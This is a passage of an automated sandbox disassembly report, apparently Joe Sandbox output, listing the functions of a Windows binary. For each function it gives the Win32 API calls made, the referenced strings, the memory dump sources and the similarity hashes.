GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00F5BB89
GetLastError.KERNEL32 ref: 00F5BB93
SetErrorMode.KERNEL32(00000000,READY), ref: 00F5BC00

Strings

NOTREADY, xrefs: 00F5BBBF
READONLY, xrefs: 00F5BBCB
READY, xrefs: 00F5BBD9
INVALID, xrefs: 00F5BBD2
UNKNOWN, xrefs: 00F5BBB8

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: e72ad2ee3a3611a04c194210407b4e82362f72d0c06df8be2622a65fa3f3ef74
Instruction ID: 656674cdb596e5606ab14c4b5c7ce6c563420a3d71202957fdb0c6a9dcf538f8
Opcode Fuzzy Hash: e72ad2ee3a3611a04c194210407b4e82362f72d0c06df8be2622a65fa3f3ef74
Instruction Fuzzy Hash: E831D235A00209AFCB10DF68CC45EBEB7B4EF85311F108025EE05E72D6DBB59909EB91

Function 00F49B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F4B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00F4B7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00F49BCC
GetDlgCtrlID.USER32 ref: 00F49BD7
GetParent.USER32 ref: 00F49BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F49BF6
GetDlgCtrlID.USER32(?), ref: 00F49BFF
GetParent.USER32(?), ref: 00F49C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00F49C1E

Strings

ListBox, xrefs: 00F49B89
ComboBox, xrefs: 00F49B54

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 7463fbc521870c0253d40f4db5762bb635a862b75e7e02253a5c7d23e2c0fd17
Instruction ID: 3b9fc17168ab49737c562eb693304b7222171e261c9c93897b8bbc7b1cba8e1e
Opcode Fuzzy Hash: 7463fbc521870c0253d40f4db5762bb635a862b75e7e02253a5c7d23e2c0fd17
Instruction Fuzzy Hash: 4221AE75E00109ABDF04AB60CC85EFEBBA9EF95310F100115F961932D1EB788919BB20

Function 00F49C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F4B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00F4B7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00F49CB5
GetDlgCtrlID.USER32 ref: 00F49CC0
GetParent.USER32 ref: 00F49CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00F49CDF
GetDlgCtrlID.USER32(?), ref: 00F49CE8
GetParent.USER32(?), ref: 00F49D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00F49D07

Strings

ListBox, xrefs: 00F49C74
ComboBox, xrefs: 00F49C3F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 02bfaeea75faaac963148decda36df17f9fa77f82cc9eb7300c8411584718eb3
Instruction ID: 51b5760e1f25dcfe351968003f1c762eef76c1fc3d874a445a80be35515d290e
Opcode Fuzzy Hash: 02bfaeea75faaac963148decda36df17f9fa77f82cc9eb7300c8411584718eb3
Instruction Fuzzy Hash: B421AF75E40109BFDF10ABA0CC85EFEBBB9EF95300F100115B95197292EB798929FB20

Function 00F68F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F68FC1
CoInitialize.OLE32(00000000), ref: 00F68FEE
CoUninitialize.OLE32 ref: 00F68FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 00F690F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00F69225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00F83BDC), ref: 00F69259
CoGetObject.OLE32(?,00000000,00F83BDC,?), ref: 00F6927C
SetErrorMode.KERNEL32(00000000), ref: 00F6928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00F6930F
VariantClear.OLEAUT32(?), ref: 00F6931F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: effbae446dfdff930fc64bd7d5d62d62dc9f8b5112dc96d850b639365eec7d61
Instruction ID: d8b4dcaae6b2741188c61528c80c6dabdad6818bfb8620d7ef89c22e9f7b947e
Opcode Fuzzy Hash: effbae446dfdff930fc64bd7d5d62d62dc9f8b5112dc96d850b639365eec7d61
Instruction Fuzzy Hash: 7DC144B1608305AFC700EF64C88496BB7E9FF89748F10491DF98A9B251DBB1ED06DB52

Function 00F519CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F519EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00F50A67,?,00000001), ref: 00F51A03
GetWindowThreadProcessId.USER32(00000000), ref: 00F51A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F50A67,?,00000001), ref: 00F51A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00F51A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F50A67,?,00000001), ref: 00F51A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F50A67,?,00000001), ref: 00F51A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00F50A67,?,00000001), ref: 00F51A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00F50A67,?,00000001), ref: 00F51AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00F50A67,?,00000001), ref: 00F51ABB

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 8cb3b5305867bfb943327582d8df1c53c8f02fb0eb9d5f640ce3e8693553a134
Instruction ID: 47b70d1161221197bf9cf73795417a278e441aae99d612859affbcc259f43409
Opcode Fuzzy Hash: 8cb3b5305867bfb943327582d8df1c53c8f02fb0eb9d5f640ce3e8693553a134
Instruction Fuzzy Hash: 7031B176901248AFDB219F14DC84BB977ADFB94366F114215FE00C6191DB78AD48EF50

Function 00F2C0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00EF260D
SetTextColor.GDI32(?,000000FF), ref: 00EF2617
SetBkMode.GDI32(?,00000001), ref: 00EF262C
GetStockObject.GDI32(00000005), ref: 00EF2634
GetClientRect.USER32(?), ref: 00F2C0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 00F2C113
GetWindowDC.USER32(?), ref: 00F2C11F
GetPixel.GDI32(00000000,?,?), ref: 00F2C12E
ReleaseDC.USER32(?,00000000), ref: 00F2C140
GetSysColor.USER32(00000005), ref: 00F2C15E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: bfdf50c7af8792198814db061fd7a46a823f7a8214f188af15445e4b81b82f40
Instruction ID: 9627f4da952c2c5980cfaaa8cedf709951b8080918ab963c21f264cb4ec7258f
Opcode Fuzzy Hash: bfdf50c7af8792198814db061fd7a46a823f7a8214f188af15445e4b81b82f40
Instruction Fuzzy Hash: 33115932500209AFDBA15FA4EC49BF97BA1EF08331F504225FA65990E1CF310955FF61

Function 00EFAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00EFADE1
OleUninitialize.OLE32(?,00000000), ref: 00EFAE80
UnregisterHotKey.USER32(?), ref: 00EFAFD7
DestroyWindow.USER32(?), ref: 00F32F64
FreeLibrary.KERNEL32(?), ref: 00F32FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00F32FF6

Strings

close all, xrefs: 00EFADDC

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 6dd1565b6d6c4bfd061095e406665094a59bcd63aba9697ad412b13d4cfdfaba
Instruction ID: 8d2febd310b0090ca3833b858399764229eaabf0b87171e66e93c0a88214178c
Opcode Fuzzy Hash: 6dd1565b6d6c4bfd061095e406665094a59bcd63aba9697ad412b13d4cfdfaba
Instruction Fuzzy Hash: 1CA17DB1701216CFCB29EF24C895A79F764BF04724F1442ACE90AAB251CF31AD56EF91

Function 00F4AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00F4B13A), ref: 00F4B078

Strings

TEXT, xrefs: 00F4AFAF
INSTANCE, xrefs: 00F4AF86
NAME, xrefs: 00F4AEAA
REGEXPCLASS, xrefs: 00F4AE3D
CLASSNN, xrefs: 00F4AE1A
CLASS, xrefs: 00F4ADF7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 69345e248186c83e75090cc0d6f78c7add714b8e924e234e996f6075ec107c36
Instruction ID: 8a193be5c2c9fd0e112aa562487cb91e76ad6a904652def64db5602e1227b6ee
Opcode Fuzzy Hash: 69345e248186c83e75090cc0d6f78c7add714b8e924e234e996f6075ec107c36
Instruction Fuzzy Hash: 44915371900506DADB18EF60C881BEAFB75BF04310F548119EC6AA7292DF34A999FB91

Function 00EF31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00EF327E

Part of subcall function 00EF218F: GetClientRect.USER32(?,?), ref: 00EF21B8
Part of subcall function 00EF218F: GetWindowRect.USER32(?,?), ref: 00EF21F9
Part of subcall function 00EF218F: ScreenToClient.USER32(?,?), ref: 00EF2221

GetDC.USER32 ref: 00F2D073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00F2D086
SelectObject.GDI32(00000000,00000000), ref: 00F2D094
SelectObject.GDI32(00000000,00000000), ref: 00F2D0A9
ReleaseDC.USER32(?,00000000), ref: 00F2D0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00F2D13C

Strings

U, xrefs: 00F2D011

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 8ece3469c80271ba21073dfc8466eafb156fa4edf33c642a7a7bebfc5fdd7e83
Instruction ID: d611dff41a1e87e73548a1fa060898aae88a7cdc7a917ce5221a3f78d0b20c2a
Opcode Fuzzy Hash: 8ece3469c80271ba21073dfc8466eafb156fa4edf33c642a7a7bebfc5fdd7e83
Instruction Fuzzy Hash: C6710330804209DFDF21CF64DC84AFA7BB5FF49320F244269EE556A1AAC7318951EF60

Function 00F7C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF29E2: GetWindowLongW.USER32(?,000000EB), ref: 00EF29F3

Part of subcall function 00EF2714: GetCursorPos.USER32(?), ref: 00EF2727
Part of subcall function 00EF2714: ScreenToClient.USER32(00FB77B0,?), ref: 00EF2744
Part of subcall function 00EF2714: GetAsyncKeyState.USER32(00000001), ref: 00EF2769
Part of subcall function 00EF2714: GetAsyncKeyState.USER32(00000002), ref: 00EF2777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00F7C69C
ImageList_EndDrag.COMCTL32 ref: 00F7C6A2
ReleaseCapture.USER32 ref: 00F7C6A8
SetWindowTextW.USER32(?,00000000), ref: 00F7C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00F7C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00F7C847

Strings

@GUI_DROPID, xrefs: 00F7C799
@GUI_DRAGFILE, xrefs: 00F7C7DC

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 06e1e3fa06d38e0fb72a7dac5e853700092b89a7097de1f967d4619e463f341a
Instruction ID: 4b0ce9afc5e6bf102332203113b3ca7fc98164ab8441fbbdc97ddcf55d72225f
Opcode Fuzzy Hash: 06e1e3fa06d38e0fb72a7dac5e853700092b89a7097de1f967d4619e463f341a
Instruction Fuzzy Hash: 66517B71604308AFD704EF14CC9AFAA7BE5AB84310F10851EF559972E1DB70E945EF92

Function 00F620E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00F6211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00F62148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00F6218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00F6219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F621AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00F621DC
InternetCloseHandle.WININET(00000000), ref: 00F62223

Part of subcall function 00F62B4F: GetLastError.KERNEL32(?,?,00F61EE3,00000000,00000000,00000001), ref: 00F62B64
Part of subcall function 00F62B4F: SetEvent.KERNEL32(?,?,00F61EE3,00000000,00000000,00000001), ref: 00F62B79

Strings

, xrefs: 00F621CD

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 62be6e344c55d098bf8f20e7c7b4b48ba6a733de97f54024b6fbbeb8d7e6af59
Instruction ID: f012df2dc5e3eadf579401f55ebe1e8a00b94d00be49dc7a0bc09e3c7304ccc2
Opcode Fuzzy Hash: 62be6e344c55d098bf8f20e7c7b4b48ba6a733de97f54024b6fbbeb8d7e6af59
Instruction Fuzzy Hash: B2416AB1901609BEEB529F50CC89FFF7BACEF08350F004116FA059A181DB749E44ABA0

Function 00F69330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00F80980), ref: 00F69412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00F80980), ref: 00F69446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00F695C0
SysFreeString.OLEAUT32(?), ref: 00F695EA

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 9c299d3bd67b36248c9be4e371f2bf58b0e6663e19186d8ea30ae17ca659248e
Instruction ID: 760670f79a0bd7c74e4279e3445ffa6fcbe82e014d99fcb8eeb813d4441b4a5e
Opcode Fuzzy Hash: 9c299d3bd67b36248c9be4e371f2bf58b0e6663e19186d8ea30ae17ca659248e
Instruction Fuzzy Hash: 94F13A71A04209EFCF14DFA4C884EAEB7B9FF49314F148058F906AB251DB71AE46DB90

Function 00F6FD7D Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F6FD9E
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00F6FF31
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00F6FF55
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00F6FF95
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00F6FFB7
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00F70133
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00F70165
CloseHandle.KERNEL32(?), ref: 00F70194
CloseHandle.KERNEL32(?), ref: 00F7020B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: f0fef1fb0376ffde9a6e0e748523908d8a7557827a3f2482a1d3f70e54071b5e
Instruction ID: 92f5ecca6324360cb555bcb350c835e54728daaf4142e93a92a546e540dd244d
Opcode Fuzzy Hash: f0fef1fb0376ffde9a6e0e748523908d8a7557827a3f2482a1d3f70e54071b5e
Instruction Fuzzy Hash: ABE1BD31604301DFC714EF24D891B6ABBE1EF85320F14896DF9999B2A2DB31EC45EB52

Function 00F5527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F54BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F53B8A,?), ref: 00F54BE0

Part of subcall function 00F54BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F53B8A,?), ref: 00F54BF9

Part of subcall function 00F54FEC: GetFileAttributesW.KERNEL32(?,00F53BFE), ref: 00F54FED

lstrcmpiW.KERNEL32(?,?), ref: 00F552FB
_wcscmp.LIBCMT ref: 00F55315
MoveFileW.KERNEL32(?,?), ref: 00F55330

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: fcad3c99238d5be41d2e321b32f393cf5aaa26df05ae2dcdd6b99b99af19f350
Instruction ID: d6d01ca743d200937a4ddc0a3020a979f6858526cb4ae2ffa4ab0485beff3cf4
Opcode Fuzzy Hash: fcad3c99238d5be41d2e321b32f393cf5aaa26df05ae2dcdd6b99b99af19f350
Instruction Fuzzy Hash: 095183B24087859BC764DBA0DC919DFB3ECAF84711F40491EB689C3052EF38A68C9766

Function 00F78C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00F78D24

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: InvalidateRect
String ID:
